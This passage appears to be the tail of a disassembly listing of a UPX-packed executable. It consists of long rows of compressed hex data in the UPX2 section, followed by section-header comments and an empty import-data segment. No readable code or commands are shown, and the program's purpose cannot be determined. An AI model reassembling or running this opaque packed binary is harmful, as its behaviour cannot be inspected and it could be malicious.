8289568Dh, 0BFE85358h, 0D9AF3852h, 0EC99117Dh dd 0DAF06348h, 0ED358098h, 0E52899CDh, 4945C7C0h, 64308BB1h dd 7A405A73h, 0DC408A01h, 0E9D70568h, 3A60EA4Ch, 8E0A118h dd 0A1A1701Dh, 1C062653h, 0D7BA1301h, 4010E025h, 4534368h dd 0CC99085Dh, 835B2548h, 68028125h, 0CC5155E8h, 4A23D9Dh dd 529B1D88h, 0CC054B80h, 0D4D00711h, 0B3DA9C90h, 9EF54437h dd 0EBC09121h, 0C2114F68h, 0E5EA94h, 52B0FB31h, 5504B958h dd 6AD57088h, 0BCA045C1h, 0FFF32348h, 0A19E1992h, 6D784017h dd 1C1F72C2h, 3DCFA188h, 6F7A6830h, 0DA5500D7h, 2C20D541h dd 8E7893C8h, 6209D110h, 69EA0280h, 0E0E50A47h, 32B0DB31h dd 74109958h, 0E457D782h, 8C99497Dh, 7010C248h, 1C485895h dd 7A359DE8h, 14E07D01h, 66B0386Ch, 8F68A2DCh, 8E2F28D1h dd 0FBC80F19h, 0BC8F8C31h, 0A220BEA0h, 662973CDh, 0ACCBBBB8h dd 0ED4F52EEh, 0D984FCAFh, 0AE7047B8h, 38D415F8h, 0C77B24C3h dd 1850F310h, 0A719BEC3h, 0BEB8FDC4h, 9209670Dh, 0EF6843D8h dd 0E92F48D1h, 0FC1901FDh, 0FA7053C8h, 0EECC5518h, 5CD3BFD0h dd 3459C13Dh, 94BA6008h, 0CAE0A6E0h, 9E695B0Dh, 0B40B93F8h dd 0D50F3ADEh, 0C1C4146Fh, 0C6935FF8h, 0CB942C38h, 0E7BB3403h dd 30908B78h, 0B6595F03h, 3BE95684h, 8A49B74Dh, 0E8C00118h dd 0BB1EBA68h, 1459E13Dh, 92B8E108h, 0D303C0D8h, 0A3548A50h dd 3CB0F1BCh, 0BAF84389h, 0DEA3DA13h, 66A1878Eh, 0CC86A65Eh dd 0FA585B07h, 1280A9D8h, 867B11C9h, 0D9E9C0D3h, 4BC875CEh dd 0F86B87D8h, 3DF805ABh, 139F8241h, 0A289CF8Dh, 80001958h dd 0C54A9328h, 0A8253E37h, 0C1F0930Ah, 4408D850h, 79696000h dd 0FE235DC7h, 0DDC9BE60h, 60050427h, 49D04711h, 9C19A1FDh dd 5A70F3C8h, 7FC6B438h, 1D487743h, 0EC33D6A1h, 429BD323h dd 22A874D3h, 0BB51C7B8h, 0FCB0D770h, 8E7B5A49h, 25C935BCh dd 6680EF80h, 766C70B3h, 871B9B98h, 0D0902B50h, 0A754B2DFh dd 6C600568h, 3804D3C8h, 0CA6B79EFh, 81466F6Ch, 0E6A4803Bh dd 7DB00B18h, 400100DCh, 0E5D4FA8h, 99EB75F8h, 0E6B50D1Ah dd 3C6E23ABh, 0B99093A4h, 4DEDFADh, 3AB5F288h, 0E380599Ah dd 7DEC4FA3h, 64531AA0h, 0F244F043h, 173F7401h, 0F4A8DAE3h dd 873B1DA8h, 0D739E74Ah, 2010FB84h, 6758C5ABh, 0ACE2B57Dh dd 0A283A848h, 58C04267h, 0D478BFE8h, 7F1F72CCh, 0D272E335h dd 76687FD8h, 0D52F08DCh, 3C627DEDh, 0F23A18C8h, 0E3CC2B1Bh dd 93F9ACA6h, 650075B7h, 0B6BFCB08h, 9802h, 8CECD2ABh dd 29A335E8h, 6AE04130h, 37A8ED34h, 6903D6Dh, 0D0A6E038h dd 0E048BEA3h, 768309C8h, 0CA733F78h, 0B1A35A87h, 0DA603170h dd 93CB3418h, 0F51F032Fh, 4460DCA3h, 8789A7E3h, 0E0103BE0h dd 0AF5DC2A7h, 0F9A315F8h, 4AE0A130h, 0E77830FEh, 1A1570CDh dd 3FE04D38h, 0C11B19C8h, 3668B9ECh, 272F48DCh, 0FC623DC5h dd 5EF55CC8h, 8BC02118h, 465253EDh, 5CE5BEB8h, 79B09B4Ah dd 0CC477258h, 8E9DA5A7h, 1B9BF5F8h, 0EE73CC40h, 7B409198h dd 81935D28h, 0EC652E2Ch, 3030EBCAh, 0E8353688h, 1D0876Ah dd 0DC1E57EDh, 5AF569C8h, 68778417h, 0AAF9CF68h, 38609DB8h dd 463564F7h, 20003958h, 0EB5F1296h, 3CA0D573h, 21F1E5C3h dd 301045DBh, 596FCC1Dh, 3658B001h, 3545DB98h, 523C2CDBh dd 5BD37738h, 0AC300700h, 38949641h, 484BE108h, 54CC2A53h dd 0EC127DA8h, 0F050CE33h, 0E9721948h, 4E50E795h, 0F497C788h dd 0EAF08357h, 33BC1F15h, 85923429h, 0D1DBFD7Ah, 2220F96Ch dd 340385ADh, 31E1A838h, 0ED3C013Ch, 0D5B3E823h, 3882599Dh dd 439BEF68h, 0C4701FC0h, 6D44B8E0h, 60A998A7h, 5BD0C7A8h dd 0F0E7BEF6h, 8DCB6A3Ah, 0A4C23E90h, 2F6F0017h, 0CA524837h dd 3EBB6477h, 5427E8FCh, 61D03701h, 87CFFA87h, 1E3A528Ah dd 0E8C0A178h, 5DD05C26h, 21E719B4h, 72A049CCh, 2C05CD1h dd 0B7DDA7B8h, 0DCA05C70h, 0E888C64Bh, 0DD261188h, 80BB914Dh dd 3FF4EF3Bh, 0A4F677CAh, 3147A123h, 7ED0177Bh, 4C20E57Dh dd 458CF541h, 17974246h, 0A62E31FDh, 9B88DCB8h, 53AA6E07h dd 7450B958h, 113AAFC2h, 827EC007h, 4A752358h, 5DC8FEC7h dd 0CE90BFE9h, 0B1F69B4h, 0C2304A60h, 0E4E57AD8h, 3BBC9E6Eh dd 5943A02Bh, 8304FABAh, 7D3F6159h, 96006D24h, 5A526847h dd 0B739CB18h, 10DB0Ch dd 0CE507E40h, 0C8C566F8h, 25956829h, 4A25BFEFh, 76F9F79Bh dd 0A2891F68h, 0C55557E1h, 98D709BDh, 0C12F3F75h, 0C20B690h dd 881520C8h, 0C7B4327Dh, 4406A1Ah, 2809ABD1h, 12D5CC6Dh dd 83F910Fh, 0BCB8B857h, 2FA015F8h, 2991A12Dh, 4830C4F3h dd 8FE6169Ah, 0D1872854h, 0A0D84C88h, 0B87F1630h, 1ED0B730h dd 8463E02Bh, 0DF173DA9h, 0E1B44E56h, 2440960Eh, 4809CBD1h dd 0F2D5EC6Dh, 27FFB10Fh, 0DA00D857h, 61307075h, 4E9AC358h dd 0AF41FBC8h, 0F87ACA17h, 0A8692D28h, 44A504ACh, 1A80D9E6h dd 0B66D1AE8h, 9C207539h, 2F8F6398h, 68D03C88h, 3210CE00h dd 50AC9B8h, 8625945Fh, 0F400291Ah, 910703C2h, 2CE2816Dh dd 1E342048h, 9A0CC467h, 336F3FF8h, 74F0335Ah, 0F7BD18D7h dd 1090E890h, 0B845887Eh, 2F205546h, 0FE7FEC30h, 48C0E1A3h dd 54482AE1h, 0E40A7DA8h, 1025B45Eh, 5000966h, 0EAD4E868h dd 37A0B5F8h, 80A0D388h, 0B92A019Bh, 86901F80h, 0C11FBBF8h dd 222085CAh, 0FF7F715Bh, 0BED650ACh, 0D0A5AC78h, 0D770E38Ah dd 3882A195h, 9E850268h, 95604DFAh, 0C2B0415Ah, 5E6E6CA7h dd 0D6D3C7B8h, 29249A07h, 0A0F0634Dh, 0C4F5CE98h, 9990EFAAh dd 24DEA7ADh, 0FDC81888h, 0D53EEDD7h, 1B593728h, 6C304708h dd 0F9731AFBh, 6291F149h, 63EF3E6Ch, 0A4707FE4h, 4CF69EF7h dd 8085D948h, 0BCA23A7h, 159375F8h, 0E884C6C1h, 29111188h dd 468FB7B9h, 0EBB0AD37h, 0F20EF51Dh, 0BF40CCD8h, 7ED544ACh dd 34A56C78h, 0D970A38Ah, 0E8B26AA0h, 8E5BC468h, 0BDE4984Fh dd 52B0EB18h, 26759958h, 0FE3802ABh, 6E9355E8h, 7B07E24Bh dd 0DDC9106Fh, 2680FD6Ch, 0F4C90280h, 0FE7BD088h, 80E8ACDBh dd 8CE3F738h, 0DDD7047Bh, 7FF9723Fh, 0C8D02364h, 0DDA720ABh dd 518304BEh, 3DA89885h, 314DAEFh, 0F3B2E78h, 1D7036D0h dd 3875C72h, 253428F6h, 79CE56Bh, 9F6B8D4Ah, 0B672B0B4h dd 0FD904BDBh, 0C92F9F6Ch, 37E186A1h, 0CA32034Dh, 0FC4B8218h dd 0B6231F4Ch, 44D85F37h, 9973AB08h, 6D0B9297h, 0BE110F15h dd 0A32BE9F8h, 765C2A7Bh, 2446C3F9h, 0CA920892h, 0E8DCE718h dd 0AC0CF7FCh, 50BC34ACh, 0D7335F5Dh, 0A91D84F3h, 0CE701690h dd 0CB931C13h, 0D31FEF3Ah, 0DB9F428Bh, 0A58D8883h, 0CF431711h dd 71AF012Ch, 1FF7C807h, 0AEFF8D1Dh, 7BF6E83h, 0F5D308D5h dd 8464220Ah, 5FCF0477h, 7FD49A88h, 1D51327h, 17139A87h dd 658E1E20h, 80D074E7h, 0C9EF3392h, 0FB9EBC50h, 3E3464F7h dd 93FFC6A6h, 6E46EF7Ah, 5F48D5F8h, 0E20F5CB7h, 0D8407198h dd 0B57DBEB5h, 9DE01D0Ch, 4230D872h, 9BB256BCh, 0CE920F9Dh dd 8EA92178h, 374E92AEh, 0AB45EE42h, 9D10AF6Bh, 3A6341E6h dd 0E28BCA6Eh, 5385161Dh, 0B950E7ABh, 3CA0A3BBh, 6FFF8348h dd 0B840525Eh, 84CC5C1Eh, 575C6937h, 61BBBB88h, 5020B4D0h dd 3ADFF788h, 8C2026D6h, 7A50D3F5h, 8B44CE38h, 7D108F6Bh dd 0C4609533h, 0C3A6C808h, 9FEF71B0h, 92DDC457h, 0FFA085BAh dd 8A91E086h, 0DC21B298h, 980B17E8h, 0B6EF32C7h, 23098F2h dd 9240CC5Bh, 15D03738h, 26AB0D3Ah, 49B1F8D8h, 0E300921Ch dd 5FD86C6Dh, 21E92DF2h, 72A04988h, 0F80C935Bh, 0E51A7A8h dd 3A1E9DA9h, 3FC0BCB7h, 7850281Ah, 0F3A0FF59h, 14F094BBh dd 2BCE5BE2h, 58943180h, 812FF18Ch, 0D82F37FDh, 2B92600Ah dd 0F8F9058Dh, 41F5A468h, 9459993Dh, 52B0EB08h, 0D722CD59h dd 0FE69032Dh, 0BCA056F8h, 0BFC5648h, 4879753Dh, 0D96F40E8h dd 75EA66C3h, 0D209DF05h, 908029D8h, 5ED69F20h, 4479C578h dd 0FA7093CEh, 2E968940h, 139AD097h, 6470C4C4h, 4E9A4F8Eh dd 88008961h, 0DE691B2Dh, 6B40D7F8h, 7AC987CDh, 3840D998h dd 8699EAE8h, 0C4D91385h, 67443A88h, 49048C2Fh, 3ED0D738h dd 1754AD78h, 0E30CCE48h, 0DCC54108h, 0BAD8FD8h, 4160CD81h dd 0AF300C7Ch, 0E0104026h, 59CE33ADh, 6C99917Dh, 4AF0E348h dd 9849C588h, 0F6A90355h, 3D974F38h, 0C0F4BE0Bh, 0B880E9C8h dd 0E12F458Eh, 13DDC690h, 0B801BB37h, 154B2118h, 5600AD14h dd 66E020BBh, 0A9588B18h, 0CFFFA6A4h, 8E52762Ch, 24157EF8h dd 0A1F0D30Ah, 2643ADC6h, 396D0300h, 0AF6222C7h, 0E330FB8Ah dd 30E0ED92h, 5B7728h, 0B623332Ah, 8A0A30DCh, 514484EFh dd 3610CF78h, 1015BDB8h, 9078D681h, 158D3948h, 6E403E38h dd 2CC85873h, 0AE03A358h, 0D224C8CFh, 131D3FE8h, 74F01D38h dd 42817E7Bh, 0B473AB3Bh, 0E754F2DFh, 0AC204568h, 0FE7F33C8h dd 48C0E1B6h, 0FE38DC97h, 1B9F9069h, 0F008DE83h, 52851948h dd 4EC863A7h, 0A92BB5F8h, 0EAE0C130h, 39501B13h, 86F03BA2h dd 1ECB0D38h, 1132C880h, 0E4F28A11h, 0AEB8DA13h, 1AB2568h dd 5A60E3A0h, 144B976Ah, 9EB50C4Ch, 0C4604DA8h, 92D88C8Bh dd 0EB00F958h, 6451CFD2h, 7B5796F0h, 4675E8BFh, 6F4021DAh dd 76A97B6Dh, 34E08D38h, 0F532EF88h, 0DCF26AC0h, 2B590701h dd 6C3047BCh, 3B58A043h, 8C455628h, 96107F51h, 0D0603DB8h dd 23A8FC0Ah, 0BFFCF2B0h, 2BBFE57h, 0F78806FBh, 0FCA14F3Ah dd 211FB56Bh, 7F006A65h, 0A969AD28h, 0E2203940h, 0EEDFED2Bh dd 0F3422627h, 4C21DAFFh, 98E589C8h, 9DC09121h, 0CEC2266Eh dd 0E27229EEh, 0BA59BB81h, 0DFFF637Fh, 0E21A0CF2h, 4BB01FFBh dd 9AC9A7CDh, 5840F198h, 23D132C8h, 79699E4Dh, 0C220194Ch dd 80E8ACDBh, 0F953F738h, 2C20C510h, 0D233B8C8h, 0C893E691h dd 13E72F68h, 6470C2F8h, 32B0CB09h, 43C79E2Ch, 6EF0C7A0h dd 1825C258h, 6AF01371h, 4C50D198h, 5D78CDEFh, 8E1F92CFh dd 0E0F4B603h, 756309C8h, 0D5F89CA1h, 0CCAD2E75h, 3970638Ah dd 23C3AA1Ah, 0F3E72723h, 4470E43Ch, 12B0AB0Bh, 658B6D2Ch dd 0AE400560h, 3E1098FBh, 0CFF3E358h, 1850F334h, 0AC1B77E9h dd 0C865C628h, 0BB300BCAh, 53F3E192h, 1FD8FDA1h, 8FA3953Ah dd 3FFB5390h, 88D0639Ch, 56397F00h, 2C22BCB8h, 0A2F38A51h dd 0F982CCD2h, 0BA727B8h, 5CB0CC7Ch, 0AF0C348h, 754397ECh dd 0C6804F80h, 11172D8Eh, 6220C20Ch, 3082C9D8h, 382E835Dh dd 0F5A4E08Fh, 9A7033D8h, 6EB5011Ch, 0F937AE2h, 81979DA8h dd 0D2A0528Ch, 0A0007958h, 69DA0CDDh, 3E0A17FAh, 0E107419Eh dd 0EA47FB91h, 7092952Ah, 0A6D3FADAh, 261250ECh, 93D8AB57h dd 0CE922B95h, 282F4578h, 858FE977h, 0AB854E7h, 83EFAF78h dd 0E470430Ah, 0F0C4FEF7h, 15FF1948h, 4E40D98Eh, 5EC03875h dd 7F7D8358h, 0B85013F0h, 86FA4DB9h, 16BC58C7h, 0B7CFBB98h dd 0F090B77Eh, 0FC8CE2D7h, 19DF2568h, 5A60CDEEh, 69887495h dd 43EF8F78h, 0C4701FE0h, 3025D45Eh, 0E300E966h, 3E129B0Dh dd 146395F8h, 0CAF06348h, 19415BC5h, 76A87005h, 3B109538h dd 17B01E49h, 100569C8h, 6118B4EBh, 0E9E10A88h, 3A60C648h dd 8D09CDBh, 0CA656F42h, 801CBCDEh, 7C16704h, 84E8B94Bh dd 7BAF5857h, 26159DFDh, 7818BCB7h, 19BFEE67h, 3EBD20C6h dd 0ACF2996Eh, 0E2307BADh, 4F25A1B8h, 47A5E8D7h, 7C04A1F3h dd 5B380645h, 0B84B8108h, 8C912960h, 0A1131FBEh, 52B0835Eh dd 0E48BB9A7h, 0BE0287C2h, 8252C007h, 4E732358h, 47E7090h dd 53CC80D7h, 0F0260E3Bh, 3DCA3960h, 6FFFC127h, 9DB108D7h dd 2C20B1C0h, 42C178C8h, 0C8C06137h, 96103280h, 64403FB8h dd 32B0FBB0h, 107158h dd 0EA9267A8h, 9D258DF8h, 69180348h, 0FA40D198h, 521D9FC4h dd 0FA2D611Ch, 0DE30C30Bh, 706869C1h, 0B5D0D728h, 5110812Ch dd 37F16943h, 0A8D0787Eh, 89F0E880h, 40A2BC47h, 10B7AA08h dd 0B6037F5Dh, 0C4BC3B9Eh, 9415FFCFh, 8B010011h, 0FFh dd 1560h dup(0) UPX2 ends ; Section 4. (virtual address 0002A000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0002A000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 3144A000h dd 80h dup(0) align 1000h _idata2 ends end start